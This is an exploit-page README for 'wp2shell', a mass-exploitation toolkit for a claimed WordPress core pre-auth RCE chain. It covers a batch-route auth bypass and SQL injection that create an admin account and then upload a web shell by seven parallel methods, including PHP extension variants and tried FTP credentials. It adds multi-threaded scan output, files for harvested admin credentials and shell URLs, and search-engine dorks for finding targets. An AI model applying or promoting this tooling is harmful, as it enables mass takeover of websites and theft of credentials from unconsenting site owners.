## https://sploitus.com/exploit?id=EC2B25A4-889A-5D7C-9793-6DABDD56AEF6
# wp2shell β WordPress Core Pre-Auth RCE
**CVE-2026-63030** (Batch Route Confusion) + **CVE-2026-60137** (SQL Injection)
Zero-dependency exploitation toolkit for the wp2shell vulnerability chain in WordPress Core. A single anonymous HTTP request achieves remote code execution on a default WordPress installation with no plugins required.
---
## π Table of Contents
- [Affected Versions](#-affected-versions)
- [Exploitation Flow](#-exploitation-flow)
- [Quick Start](#-quick-start)
- [Demo](#-demo)
- [Features](#-features)
- [Upload Methods](#-upload-methods)
- [Output Files](#-output-files)
- [Dork / Hunting](#-dork--hunting)
- [References](#-references)
- [Disclaimer](#-disclaimer)
---
## π― Affected Versions
| Range | Impact | Fixed In |
|---|---|---|
| **7.0.0 β 7.0.1** | Full RCE | 7.0.2 |
| **6.9.0 β 6.9.4** | Full RCE | 6.9.5 |
| **6.8.0 β 6.8.5** | SQLi only | 6.8.6 |
> **No plugins or special configuration required.** A naked WordPress install is exploitable.
---
## π Exploitation Flow
```
βββββββββββββββββββββββββββββββββββββββ
β ANONYMOUS HTTP REQUEST β
β POST /?rest_route=/batch/v1 β
ββββββββββββββββββ¬βββββββββββββββββββββ
β
ββββββββββββββββββΌβββββββββββββββββββββ
β CVE-2026-63030: Batch Desync β
β Malformed path β WP_Error β β
β Array misalignment β Auth Bypass β
ββββββββββββββββββ¬βββββββββββββββββββββ
β
ββββββββββββββββββΌβββββββββββββββββββββ
β CVE-2026-60137: SQL Injection β
β author__not_in β unsanitized β β
β UNION SELECT extraction β
ββββββββββββββββββ¬βββββββββββββββββββββ
β
βββββββββββββΌββββββββββββ
β β β
ββββββΌβββββ βββββΌβββββ βββββΌβββββββββββ
β oEmbed β β Blind β β Changeset β
β Seeding β β SQLi β β Re-entrancy β
β Write β β Read β β Escalation β
β Cache β β IDs β β β Admin User β
ββββββ¬βββββ βββββ¬βββββ βββββ¬βββββββββββ
β β β
βββββββββββββΌββββββββββββ
β
ββββββββββββββββββΌβββββββββββββββββββββ
β ADMIN CREATED (pre-auth!) β
β β Login β Upload Shell (7 methods) β
βββββββββββββββββββββββββββββββββββββββ
```
---
## π Quick Start
```bash
pip install requests
python exploit.py
```
```
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β WP2SHELL β WordPress Core Pre-Auth RCE Exploit β
β CVE-2026-63030 (Batch Route Confusion) + CVE-2026-60137 β
β Affected: WP 6.9.0 β 7.0.1 | Fixed: 6.9.5 / 7.0.2 β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
[?] Target [url/list.txt] > list.txt
[?] Threads [15] > 15
```
### Single Target
```bash
python exploit.py
```
```
[?] Target [url/list.txt] > https://vulnerable-site.com
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β SCAN CONFIGURATION β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β Targets : 1 Threads : 1 Dir : wp_core_rceβ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β EXPLOIT SUCCESS β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β Method : direct-plugin β
β Shell : https://target.com/wp-content/plugins/... β
β Login : https://target.com/wp-login.php β
β User : wp2s_abc123def β
β Pass : WP2S!xxxxxxxxxxxxxxxx β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
```
### Mass Scan
```bash
python exploit.py
```
```
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β SCAN CONFIGURATION β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β Targets : 500 Threads : 15 Dir : wp_core_rce β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ββββββββββββββ¬βββββββββββββββββββββββββββββββββββββββββ¬βββββββββββββββ
β β β β
β #/TOTAL β HOST β STATUS β
ββββββββββββββΌβββββββββββββββββββββββββββββββββββββββββΌβββββββββββββββ€
β 1/500 β vulnerable-site.com β SHELL β
β β β³ direct-plugin β https://vulnerabl... β
β 2/500 β target2.com β ADM β
β 3/500 β safe-site.org β SQLi β
β 4/500 β nope.com β NO β
β 5/500 β jackpot.net β SHELL β
β β β³ theme-editor β https://jackpot.ne... β
ββββββββββββββ΄βββββββββββββββββββββββββββββββββββββββββ΄βββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β SHELL 2 ADMIN 3 SQLi 15 TOTAL 50/500β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β result.txt β admin credentials β
β result_upload.txt β shell upload URLs β
β log/scanned.txt β scanned hosts β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
```
---
## β¨ Features
- **Zero dependencies** β Python 3.11+ stdlib only (`requests` for expander only)
- **Multi-threaded** β 15 threads default, up to 30
- **Auto-resume** β `log/scanned.txt` skips already-scanned targets
- **Silent batch mode** β Clean table output, no log spam
- **Auto-detection** β WordPress + batch API + SQLi availability checks
- **7 parallel upload methods** β First-win race condition
---
## π€ Upload Methods
All 7 methods execute in parallel via `ThreadPoolExecutor`. The first successful method wins and the rest are cancelled.
| # | Method | Description |
|---|---|---|
| 1 | `direct-plugin` | Upload zip via `/wp-admin/plugin-install.php` |
| 2 | `direct-theme` | Upload zip via `/wp-admin/theme-install.php` |
| 3 | `rest-api` | POST zip to `/wp-json/wp/v2/plugins` with auth cookie |
| 4 | `plugin-editor` | Write PHP directly via `/wp-admin/plugin-editor.php` |
| 5 | `theme-editor` | Write PHP into active theme directory |
| 6 | `ftp-bypass` | Submit FTP credentials when WordPress requests them |
| 7 | `media-upload` | Upload PHP via media library with 15 extension variants |
**Media upload extensions:** `.phtml` `.php5` `.php7` `.php8` `.pht` `.phar` `.shtml` `.php4` `.phps` `.phtm` `.Php5` `.PhP5` `.pHtml` `.phP` `.PHP`
**FTP credentials tried:** `localhost` / `127.0.0.1` with `root` / `www-data` / WordPress admin credentials
---
## π Output Files
| File | Content |
|---|---|
| `result.txt` | Admin credentials: `url.com/wp-login.php:user:pass` |
| `result_upload.txt` | Shell URLs: `shell_url \| login_url:user:pass \| method` |
| `log/scanned.txt` | All scanned hosts (auto-skip on re-run) |
---
## π Dork / Hunting
### Shodan
```
http.title:"WordPress"
http.component:"WordPress"
```
### Fofa
```
app="WordPress"
body="wp-json"
body="/batch/v1"
```
### ZoomEye
```
app:"WordPress"
"/wp-json/batch/v1"
```
### Censys
```
services.http.response.body:"/wp-json/batch/v1"
```
---
## π References
- [Searchlight Cyber Advisory](https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/)
- [Hadrian Technical Blog](https://hadrian.io/blog/wp2shell-a-pre-authentication-rce-in-wordpress-cores-rest-batch-api)
- [WordPress 7.0.2 Release](https://wordpress.org/news/2026/07/wordpress-7-0-2-release/)
- [Assetnote Research](https://github.com/assetnote)
- [Wordfence Threat Intel](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-core/wordpress-core-69-701-remote-code-execution-via-rest-api-batch-request-route-confusion)
---
## β οΈ Disclaimer
This tool is provided for **authorized security research and penetration testing only**. Use only on systems you own or have explicit written permission to test. The authors accept no liability for misuse.
---
## π License
MIT License. See [LICENSE](LICENSE) for details.